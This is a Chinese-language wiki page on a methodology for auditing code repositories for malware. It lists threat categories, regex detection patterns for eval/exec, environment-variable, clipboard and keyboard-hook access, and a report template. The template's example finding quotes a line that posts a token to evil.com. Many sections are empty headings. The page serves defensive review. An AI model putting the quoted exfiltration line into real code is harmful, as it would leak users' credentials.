← Wiki
概念

恶意代码分析方法论

系统化的代码安全审查方法论,用于识别和分析代码仓库中的恶意行为和安全威胁。

威胁向量分类

1. 数据外传检测

风险模式 检测方法
# 检测外部域名模式
external_domain_pattern = r'(https?://|ws://)[^\s"\'>]+\.[^\s"\'>]+'

2. 敏感信息窃取

目标数据 关键API调用

3. 恶意代码执行

危险模式

4. 钓鱼攻击

特征

5. 键盘记录

检测点

6. 挖矿脚本

特征

7. 广告注入

8. 持久化机制

工作流程

阶段1:代码获取

# 优先:git clone(保留完整历史)
git clone <repo-url>

备选:浏览器下载(当git不可用时)

- 避免直接截图(可能被篡改)

- 下载完整源码zip

阶段2:模式检测

import re
from pathlib import Path

多维度正则模式匹配

patterns = { 'external_domains': r'(https?://)[^\s"\'>]+\.[^\s"\'>]+', 'dangerous_functions': r'\b(eval|exec|compile|__import__)\s\(', 'env_access': r'\bos\.environ|os\.getenv|getenv\s\(', 'clipboard_access': r'\bclipboard\.|pyperclip\.', 'keyboard_hook': r'pynput|keyboard\.Listener', }

阶段3:数据流向追踪

分析三个维度的数据流:

#### 存储层

#### 网络层 #### DOM层(浏览器相关)

阶段4:风险分级

高风险 ⚠️

中风险 低风险

阶段5:结构化报告

# 代码安全审查报告

总体评估

  • 风险等级:[高/中/低]
  • 可疑文件数:N
  • 建议操作:[允许/隔离/移除]

详细发现

威胁向量1:数据外传

  • 文件: src/network.py:42
  • 证据: requests.post('https://evil.com/api', data=token)
  • 风险: 高
  • 建议: 立即移除此代码

安全建议

[具体行动项]

工具和依赖

Python库

import re
import ast
from pathlib import Path
from collections import defaultdict

无外部依赖:方法论基于标准库,确保工具链本身可信。

实战案例

已验证于 glm-rush 抢购脚本审查:

相关技能

局限性